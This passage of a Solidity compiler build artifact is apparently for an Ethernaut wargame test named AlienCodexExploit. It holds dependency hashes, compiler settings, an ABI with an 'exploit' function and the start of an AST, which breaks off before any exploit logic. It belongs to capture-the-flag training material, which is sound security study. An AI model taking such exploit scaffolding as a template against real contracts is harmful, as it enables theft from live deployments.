4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/AlienCodex.t.sol\":{\"keccak256\":\"0xbe568b21e461ba20f7ed23eddd9094566d2bef8971a5a1492a9382dbd550bb56\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c4be1737b045b52bb1fcf3508efceae0197825804be7740ec24009694f051bbf\",\"dweb:/ipfs/QmS93Degcegdo9DXgpFvqmXGfRiwC3L1S9LdKxauwhRJZU\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"instanceAddress","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"exploit"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/AlienCodex.t.sol":"AlienCodexExploit"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/AlienCodex.t.sol":{"keccak256":"0xbe568b21e461ba20f7ed23eddd9094566d2bef8971a5a1492a9382dbd550bb56","urls":["bzz-raw://c4be1737b045b52bb1fcf3508efceae0197825804be7740ec24009694f051bbf","dweb:/ipfs/QmS93Degcegdo9DXgpFvqmXGfRiwC3L1S9LdKxauwhRJZU"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/AlienCodex.t.sol","id":59119,"exportedSymbols":{"AlienCodex":[58885],"AlienCodexExploit":[58946],"DummyFactory":[52145],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestAlienCodex":[59118],"TestBase":[65],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2422:121","nodes":[{"id":58857,"nodeType":"PragmaDirective","src":"32:23:121","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":58858,"nodeType":"ImportDirective","src":"57:28:121","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":58860,"nodeType":"ImportDirective","src":"86:43:121","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":58859,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58862,"nodeType":"ImportDirective","src":"131:57:121","nodes":[],"absolutePath":"src/levels/DummyFactory.sol","file":"src/levels/DummyFactory.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":52146,"symbolAliases":[{"foreign":{"id":58861,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"139:12:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58864,"nodeType":"ImportDirective","src":"189:48:121","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":58863,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"197:5:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58866,"nodeType":"ImportDirective","src":"238:44:121","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":58865,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"246:9:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58885,"nodeType":"ContractDefinition","src":"284:181:121","nodes":[{"id":58869,"nodeType":"FunctionDefinition","src":"311:32:121","nodes":[],"functionSelector":"328b52cb","implemented":false,"kind":"function","modifiers":[],"name":"makeContact","nameLocation":"320:11:121","parameters":{"id":58867,"nodeType":"ParameterList","parameters":[],"src":"331:2:121"},"returnParameters":{"id":58868,"nodeType":"ParameterList","parameters":[],"src":"342:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":58874,"nodeType":"FunctionDefinition","src":"348:34:121","nodes":[],"functionSelector":"b5c645bd","implemented":false,"kind":"function","modifiers":[],"name":"record","nameLocation":"357:6:121","parameters":{"id":58872,"nodeType":"ParameterList","parameters":[{"constant":false,"id":58871,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":58874,"src":"364:7:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":58870,"name":"bytes32","nodeType":"ElementaryTypeName","src":"364:7:121","typeDescriptions":{"typeIdentifier":"t_bytes32",